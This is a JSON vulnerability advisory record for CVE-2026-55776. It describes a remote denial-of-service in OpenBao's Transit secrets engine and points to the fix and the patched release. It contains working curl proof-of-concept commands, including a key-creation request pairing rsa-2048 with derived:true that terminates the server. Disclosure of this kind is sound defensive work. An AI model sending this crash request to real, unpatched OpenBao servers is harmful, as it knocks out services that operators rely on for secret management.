{"id":"CVE-2026-55776","aliases":["GO-2026-5267"],"url":"https://o3.security/vulnerability/CVE-2026-55776","summary":"OpenBao: Transit secrets engine crashes on key creation with `derived: true` for asymmetric key types","details":"On OpenBao 2.5.4 and 2.5.2(and likely earlier versions also), an authenticated caller with write access to `transit/keys/*` can crash the OpenBao server by issuing a single key-creation request that combines an asymmetric `type` (`rsa-*`, `ecdsa-*`, `ed25519`)\nwith `derived: true`. The server returns no HTTP response and the process terminates (exit code 2). This is a remote, low-complexity denial-of-service against the OpenBao server.\n\n\nMount the transit engine:\n\n     `curl -sS -X POST -H \"X-Vault-Token: root\" \\\n       -d '{\"type\":\"transit\"}' \\\n       http://127.0.0.1:8200/v1/sys/mounts/transit`\n\nTrigger the crash:\n\n     `curl -sS -w '\\nHTTP %{http_code}\\n' -X POST \\\n       -H \"X-Vault-Token: root\" \\\n       -H \"Content-Type: application/json\" \\\n       -d '{\"type\":\"rsa-2048\",\"derived\":true,\"exportable\":true,\"deletion_allowed\":false}' \\\n       http://127.0.0.1:8200/v1/transit/keys/some-key-name`\n\nYou can try with both JSON or HCL It will crash the entire cluster.\n\n  Observed:\n     HTTP 000\n     curl: (52) Empty reply from server\n\n     $ docker ps -a --filter name=openbao\n     STATUS: Exited (2)\n\nRoot Cause (Hypothesis)\nKey-derivation paths in the transit engine appear to assume a symmetric key shape (a derivable key context). When `derived: true` is supplied alongside an asymmetric `type`, the creation path likely panics on a missing derived-key field or\n  invalid type assertion rather than returning a structured validation error. Maintainers should confirm against the transit `policy.go` / key-creation path.\n\nSuggested fix:\nValidate the (`type`, `derived`) combination at the top of the create-key handler. Reject with a 400 if `derived: true` is set on any non-symmetric type (i.e. anything other than aes128-gcm96, aes256-gcm96, chacha20-poly1305,\nxchacha20-poly1305). Do this before any code path that may panic on missing derived-key state.","published":"2026-06-19T21:42:09Z","modified":"2026-06-25T19:56:14.102449812Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Go","name":"github.com/openbao/openbao","fixedVersion":null},{"ecosystem":"Go","name":"github.com/openbao/openbao","fixedVersion":"0.0.0-20260617104123-db57c62602b2"}],"fix":{"url":"https://github.com/openbao/openbao/pull/3309","label":"openbao/openbao#3309"},"references":[{"type":"WEB","url":"https://github.com/openbao/openbao/security/advisories/GHSA-8w8f-r2xv-4q4j"},{"type":"WEB","url":"https://github.com/openbao/openbao/pull/3309"},{"type":"WEB","url":"https://github.com/openbao/openbao/commit/db57c62602b25da12951f3f0edb888e7c4da61e5"},{"type":"PACKAGE","url":"https://github.com/openbao/openbao"},{"type":"WEB","url":"https://github.com/openbao/openbao/releases/tag/v2.5.5"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-06-25T19:56:14.102449812Z"}}